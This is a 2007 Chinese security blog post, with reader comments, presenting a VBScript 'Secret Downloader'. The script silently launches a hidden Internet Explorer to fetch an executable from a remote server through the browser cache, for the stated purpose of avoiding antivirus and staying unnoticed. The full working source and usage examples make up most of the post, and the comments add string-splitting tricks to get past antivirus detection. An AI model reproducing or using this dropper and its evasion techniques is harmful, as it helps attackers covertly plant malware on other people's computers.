使用vbs下载文件

2007/05/08 10:46 | 鬼仔 | 技术文章 | 占个座先

鬼仔注：一个新的方法，但是缺点是代码有点长了，echo的时候不方便。文中第一段代码可能会被杀毒软件误报，为了避免误会，传到了单独的txt中。

来源：lake2的专栏
说到使用vbs下载文件是不是想到了XMLHTTP呢，呵呵，以下是比较经典的代码：
article_1073_codes.txt
当你把这段代码保存为vbs的时候，杀毒软件可能就开始报警了；而且使用中cscript.exe会访问网络，不太隐蔽。
那么，有没有更好的方法呢？答案很明显:-)
我们可以利用一个叫InternetExplorer.Application的对象（其实就是个IE啦）下载文件。但是貌似这个组件不能直接下载保存文件，只好曲线救国了。因为IE是把文件下载到本地缓存的，我们可以让IE组件先把文件下载到缓存，然后再从缓存找到并copy至我们需要保存的位置。其实这个思路是从一个网马看到的：）
为了让IE把我们的exe文件下载到本地缓存，我们需要有一个网页把exe文件包含进去。比如：<script src="520.exe"></script>。这样当IE访问该页面的时候就会把520.exe当成js脚本保存到本地缓存了。保存的命名一般是520[1].exe，IE临时文件的位置可以从注册表键值 HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory 中读取。
好了，不废话，看代码：

'=============================
' get.vbs
' by lake2
'=============================

If WScript.Arguments.Count <> 3 Then
WScript.Echo ""
WScript.Echo "======= The Secret Downloader 0.1 ================"
WScript.Echo " by lake2 "
WScript.Echo "Usage: CScript /nologo" & WScript.ScriptName & " [URL] [RemoteName] [LocalFile]"
WScript.Echo "Example: CScript /nologo" & WScript.ScriptName & " http://www.0x54.org/lake.htm 520.exe c:\520.exe"
WScript.Echo "=================================================="
WScript.Quit
End If

URL = WScript.Arguments(0)
exeName = WScript.Arguments(1)
If InStr(exeName, ".") > 0 Then
tmp = Left(exeName,InStrRev(exeName, ".")-1)
tmp2 = Right(exeName,Len(exeName) - InStrRev(exeName, ".") + 1)
FindFileName = tmp & "[1]" & tmp2
End If
LocalName = WScript.Arguments(2)

set ie=wscript.createobject("internetexplorer.application")
ie.visible = 0
ie.navigate URL

WScript.Echo "[+]Create and Exec IE to your HTTP Server ..."
WScript.Sleep(5000)
ie.quit
WScript.Echo "[+]Get the file ..."
set objshell= WScript.Createobject("WScript.Shell")
strValue = objshell.RegRead("HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\paths\Directory")
ShowAllFile(strValue)
WScript.Echo "[-]download Fail :("

Sub ShowAllFile(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If FSO.FileExists(path&"\"&f1.name&"\"&FindFileName) Then
FSO.CopyFile path&"\"&f1.name&"\"&FindFileName, LocalName
WScript.Echo "[+]Download Success !"
WScript.Quit
End If
ShowAllFile path&"\"&f1.name
Next
Set FSO = Nothing
End Sub

使用方法：
1、在你的web目录放上一个htm文件，内容包含要下载的文件。如：<script src=520.exe></script>
2、CScript get.vbs 第一步的网页URL 网页包含的文件名 本地保存路径

例子：CScript get.vbs http://www.0x54.org/lake2/get.htm whoami.exe c:\who.exe

PS：脚本使用了5秒钟作为下载文件的时间，可以改成等待下载完毕再继续的，不过基本上够用，懒得改了-_-

Tags:

相关日志

楼被抢了 5 层了... 抢座、Rss 2.0或者 Trackback

  • fisker | 2007-05-09 05:15 | #

    把("Scripting.FileSystemObject")改成("Scripting.FileSy"&"stemObject")应该就不会被误报了。

    回复该留言
  • 鬼仔 | 2007-05-09 05:44 | #

    @naughtycat 呵呵，希望你能发mail联系我，或者留下你的联系方式。谢谢。

    @fisker 并不是后面这段代码引起报警的，而是我放到article_1073_codes.txt中的那段

    回复该留言
  • naughtycat | 2007-05-09 09:47 | #

    测试了一下，还不错！不过发现一个小问题：
    当测试的时候，如果打开的有别的类型浏览器，如Maxthon的话，那么执行时候，就会脚本报错！
    大意是一个方法调用有问题~
    因为，脚本是调用IE打开下载对象的，可能是我打开了Maxthon DDE调用截获的缘故吧 :)

    ————————————————————————————————————
    以下是一些题外话
    ————————————————————————————————————
    :cool: 先打个招呼吧！也在你这里潜水半年多了…… 今天终于露面注册了个帐号！
    第一次不知道是从哪里搜过来的，可能是黑客小组链接过来的吧：）
    后来，注意到你日志里面转了很多比较感兴趣的文章，可以看出来，你在日志的维护更新上投入了不少精力，对访客留言反馈也很及时

    另外，注意到你也是河南，而且正在郑州上大学，而偶也是河南的，目前也在郑州，快毕业了，不过：）

    所以，感觉很近~

    在那次以后，基本上每天都要转转，只是默默的看着你的日志……

    为了看你的成长历程 :mad: 所以把你的日志从最前面一页一直翻到最前面，一篇一篇的看，看到更多的是你的成长历程，呵呵，感觉你进步蛮快的……

    也注册个帐号吧，以后可以多交流下：）

    不知道能不能告知下QQ呀？ 如果 公开不方便的话，瞧瞧话，告诉偶就可以了，嘿嘿~
    比较近，想交个朋友~
    :lol:

    回复该留言
  • fisker | 2007-05-09 09:50 | #

    反正就是
    ("Microsoft.XMLHTTP")或者
    ("ADODB.Stream")
    分来写就行了

    Microsoft.XMLHTTP比较像

    回复该留言
  • naughtycat | 2007-05-10 05:40 | #

    :razz:
    已经给你发邮件了~
    加了QQ好友 有空聊 ：）

    回复该留言

发表评论